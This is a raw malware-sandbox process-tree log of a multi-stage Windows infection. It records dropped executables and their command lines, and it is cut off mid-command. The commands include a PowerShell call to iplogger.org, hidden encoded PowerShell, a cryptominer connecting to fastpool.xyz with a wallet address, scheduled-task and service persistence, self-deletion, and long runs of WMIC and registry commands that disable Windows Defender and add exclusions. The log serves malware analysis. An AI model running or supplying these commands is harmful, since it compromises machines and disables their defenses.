C:\Users\Admin\AppData\Local\Temp\7zS89335291\Sun193fda712d9f1.exe
Sun193fda712d9f1.exe
1⤵
- Executes dropped EXE
PID:1804

C:\Users\Admin\AppData\Local\Temp\7zS89335291\Sun19de8ff4b6aefeb8.exe
Sun19de8ff4b6aefeb8.exe /mixone
1⤵
- Executes dropped EXE
PID:1560
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 656
  2⤵
  - Drops file in Windows directory
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:4160
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 672
  2⤵
  - Program crash
  - Suspicious use of AdjustPrivilegeToken
  PID:1744
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 676
  2⤵
  - Program crash
  PID:5272
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 672
  2⤵
  - Program crash
  PID:5868
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 888
  2⤵
  - Program crash
  PID:6156
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 936
  2⤵
  - Program crash
  PID:6916
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 1164
  2⤵
  - Program crash
  PID:6200
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 1220
  2⤵
  - Program crash
  PID:2576
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 1560 -s 1232
  2⤵
  - Program crash
  PID:6352

C:\Users\Admin\Documents\z2DR8XKf50F4uyxh_zZro_91.exe
"C:\Users\Admin\Documents\z2DR8XKf50F4uyxh_zZro_91.exe"
1⤵
- Executes dropped EXE
PID:3992

C:\Users\Admin\AppData\Local\Temp\f.exe
"f.exe"
1⤵
PID:5324
- C:\Users\Admin\AppData\Local\237843444.exe
  "C:\Users\Admin\AppData\Local\237843444.exe"
  2⤵
  PID:1904

C:\Users\Admin\AppData\Local\Temp\wwi.exe
"wwi.exe"
1⤵
PID:5428

C:\Users\Admin\AppData\Local\Temp\wwl.exe
"wwl.exe"
1⤵
PID:5472

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"
1⤵
PID:5660

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7048
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:7076

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k SystemNetworkService
1⤵
PID:6272

C:\Users\Admin\AppData\Local\Temp\A7C5.exe
C:\Users\Admin\AppData\Local\Temp\A7C5.exe
1⤵
PID:5388

C:\Users\Admin\AppData\Local\Temp\E637.exe
C:\Users\Admin\AppData\Local\Temp\E637.exe
1⤵
PID:364
- C:\Users\Admin\AppData\Local\Temp\E637.exe
  C:\Users\Admin\AppData\Local\Temp\E637.exe
  2⤵
  PID:6232
- - C:\Windows\SysWOW64\icacls.exe
    icacls "C:\Users\Admin\AppData\Local\c3fd04b4-e3a9-44ca-a017-3c58b2ee3808" /deny *S-1-1-0:(OI)(CI)(DE,DC)
    3⤵
    - Modifies file permissions
    PID:7128
- - C:\Users\Admin\AppData\Local\Temp\E637.exe
    "C:\Users\Admin\AppData\Local\Temp\E637.exe" --Admin IsNotAutoStart IsNotTask
    3⤵
    PID:8764
  - - C:\Users\Admin\AppData\Local\Temp\E637.exe
      "C:\Users\Admin\AppData\Local\Temp\E637.exe" --Admin IsNotAutoStart IsNotTask
      4⤵
      PID:8276
    - - C:\Users\Admin\AppData\Local\6c592fba-f043-4de1-8158-3733ed130855\build2.exe
        
        "C:\Users\Admin\AppData\Local\6c592fba-f043-4de1-8158-3733ed130855\build2.exe"
        5⤵
        
        PID:7852
      - C:\Users\Admin\AppData\Local\6c592fba-f043-4de1-8158-3733ed130855\build2.exe
        
        "C:\Users\Admin\AppData\Local\6c592fba-f043-4de1-8158-3733ed130855\build2.exe"
        6⤵
        
        PID:5968
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\6c592fba-f043-4de1-8158-3733ed130855\build2.exe" & del C:\ProgramData\*.dll & exit
        7⤵
        
        PID:8248
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im build2.exe /f
        8⤵
        Kills process with taskkill
        
        PID:2752
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        8⤵
        Delays execution with timeout.exe
        
        PID:9584
    - - C:\Users\Admin\AppData\Local\6c592fba-f043-4de1-8158-3733ed130855\build3.exe
        
        "C:\Users\Admin\AppData\Local\6c592fba-f043-4de1-8158-3733ed130855\build3.exe"
        5⤵
        
        PID:7852
      - C:\Users\Admin\AppData\Local\6c592fba-f043-4de1-8158-3733ed130855\build3.exe
        
        "C:\Users\Admin\AppData\Local\6c592fba-f043-4de1-8158-3733ed130855\build3.exe"
        6⤵
        
        PID:8556
        
        C:\Windows\SysWOW64\schtasks.exe
        
        /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
        7⤵
        Creates scheduled task(s)
        
        PID:4768

C:\Users\Admin\AppData\Local\Temp\218B.exe
C:\Users\Admin\AppData\Local\Temp\218B.exe
1⤵
PID:4812

C:\Users\Admin\AppData\Local\Temp\5B98.exe
C:\Users\Admin\AppData\Local\Temp\5B98.exe
1⤵
PID:8888

C:\Users\Admin\AppData\Local\Temp\96CD.exe
C:\Users\Admin\AppData\Local\Temp\96CD.exe
1⤵
PID:7336
- C:\Users\Admin\AppData\Local\Temp\96CD.exe
  C:\Users\Admin\AppData\Local\Temp\96CD.exe
  2⤵
  PID:7508

C:\Users\Admin\AppData\Local\Temp\9FF6.exe
C:\Users\Admin\AppData\Local\Temp\9FF6.exe
1⤵
PID:8576
- C:\Users\Admin\AppData\Local\Temp\9FF6.exe
  C:\Users\Admin\AppData\Local\Temp\9FF6.exe
  2⤵
  PID:8032
- C:\Users\Admin\AppData\Local\Temp\9FF6.exe
  C:\Users\Admin\AppData\Local\Temp\9FF6.exe
  2⤵
  PID:8040

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:8560
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 3C0D0DB8E1C3C7E21E9B363FBBC5974F C
  2⤵
  PID:3716
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 1FF0FAB9BA5C4B93263EBC65E820CE9C
  2⤵
  PID:7136
- - C:\Windows\SysWOW64\taskkill.exe
    "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
    3⤵
    - Kills process with taskkill
    PID:9320
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C9954CFACF3612C643B2F456BDB3195E E Global\MSI0000
  2⤵
  PID:9532

C:\Users\Admin\AppData\Local\Temp\B004.exe
C:\Users\Admin\AppData\Local\Temp\B004.exe
1⤵
PID:5788

C:\Users\Admin\AppData\Local\Temp\BFB5.exe
C:\Users\Admin\AppData\Local\Temp\BFB5.exe
1⤵
PID:9136

C:\Users\Admin\AppData\Local\Temp\C6CA.exe
C:\Users\Admin\AppData\Local\Temp\C6CA.exe
1⤵
PID:7264
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\C6CA.exe"
  2⤵
  PID:2216
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:7708

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:7564
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:5344

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:7196

C:\Users\Admin\AppData\Local\Temp\3FF3.exe
C:\Users\Admin\AppData\Local\Temp\3FF3.exe
1⤵
PID:8140
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\siwvpedl\
  2⤵
  PID:1656
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\szxiniwk.exe" C:\Windows\SysWOW64\siwvpedl\
  2⤵
  PID:7044
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" create siwvpedl binPath= "C:\Windows\SysWOW64\siwvpedl\szxiniwk.exe /d\"C:\Users\Admin\AppData\Local\Temp\3FF3.exe\"" type= own start= auto DisplayName= "wifi support"
  2⤵
  PID:6400
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" description siwvpedl "wifi internet conection"
  2⤵
  PID:5040
- C:\Windows\SysWOW64\sc.exe
  "C:\Windows\System32\sc.exe" start siwvpedl
  2⤵
  PID:3632
- C:\Windows\SysWOW64\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
  2⤵
  PID:8196

C:\Users\Admin\AppData\Local\Temp\4C29.exe
C:\Users\Admin\AppData\Local\Temp\4C29.exe
1⤵
PID:8832

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3056
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:8224

C:\Users\Admin\AppData\Local\Temp\68AB.exe
C:\Users\Admin\AppData\Local\Temp\68AB.exe
1⤵
PID:8268

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5100
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:8652

C:\Windows\SysWOW64\siwvpedl\szxiniwk.exe
C:\Windows\SysWOW64\siwvpedl\szxiniwk.exe /d"C:\Users\Admin\AppData\Local\Temp\3FF3.exe"
1⤵
PID:6472
- C:\Windows\SysWOW64\svchost.exe
  svchost.exe
  2⤵
  PID:3196
- - C:\Windows\SysWOW64\svchost.exe
    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
    3⤵
    PID:7768
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:752

C:\Users\Admin\AppData\Local\Temp\8740.exe
C:\Users\Admin\AppData\Local\Temp\8740.exe
1⤵
PID:1656

C:\Users\Admin\AppData\Local\Temp\99DE.exe
C:\Users\Admin\AppData\Local\Temp\99DE.exe
1⤵
PID:4276

C:\Users\Admin\AppData\Local\Temp\AB44.exe
C:\Users\Admin\AppData\Local\Temp\AB44.exe
1⤵
PID:8384
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\AB44.exe"
  2⤵
  PID:6776
- - C:\Windows\SysWOW64\timeout.exe
    timeout /T 10 /NOBREAK
    3⤵
    - Delays execution with timeout.exe
    PID:9152

C:\Users\Admin\AppData\Local\Temp\B623.exe
C:\Users\Admin\AppData\Local\Temp\B623.exe
1⤵
PID:8228
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgAwAA==
  2⤵
  PID:8708
- C:\Users\Admin\AppData\Local\Temp\B623.exe
  C:\Users\Admin\AppData\Local\Temp\B623.exe
  2⤵
  PID:6336

C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
1⤵
PID:8968
- C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe
  2⤵
  PID:9228
- - C:\Windows\SysWOW64\schtasks.exe
    /C /create /F /sc minute /mo 1 /tn "Azure-Update-Task" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Network\mstsca.exe"
    3⤵
    - Creates scheduled task(s)
    PID:7464

C:\Users\Admin\AppData\Local\Temp\D1F9.exe
C:\Users\Admin\AppData\Local\Temp\D1F9.exe
1⤵
PID:5944

C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\YNubfAu.exe
C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\YNubfAu.exe W8 /site_id 668658 /S
1⤵
PID:7260
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
  2⤵
  PID:8884
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
    3⤵
    PID:5820
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
      4⤵
      PID:5012
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        5⤵
        
        PID:8620
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True
        6⤵
        
        PID:8104
- - C:\Windows\SysWOW64\forfiles.exe
    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"
    3⤵
    PID:7304
  - - C:\Windows\SysWOW64\cmd.exe
      /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
      4⤵
      PID:5996
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
        5⤵
        
        PID:7964
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True
        6⤵
        
        PID:5616
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;"
  2⤵
  PID:5132
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:6844
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
      4⤵
      PID:4552
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:8704
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8640
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:2168
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:5496
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:7136
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2284
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:8704
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:2172
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:5496
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:8704
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9288
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9348
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9460
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9492
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9540
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9560
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9596
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9624
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9644
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9680
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9712
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
    3⤵
    PID:9732
- - C:\Windows\SysWOW64\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
    3⤵
    PID:9760
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NMbcPgNClKinC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NMbcPgNClKinC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\STjmdXhOU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\STjmdXhOU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\YceypsUXabDXnCzNCPR\" /t REG_DWORD /d 0 /reg:32;REG ADD 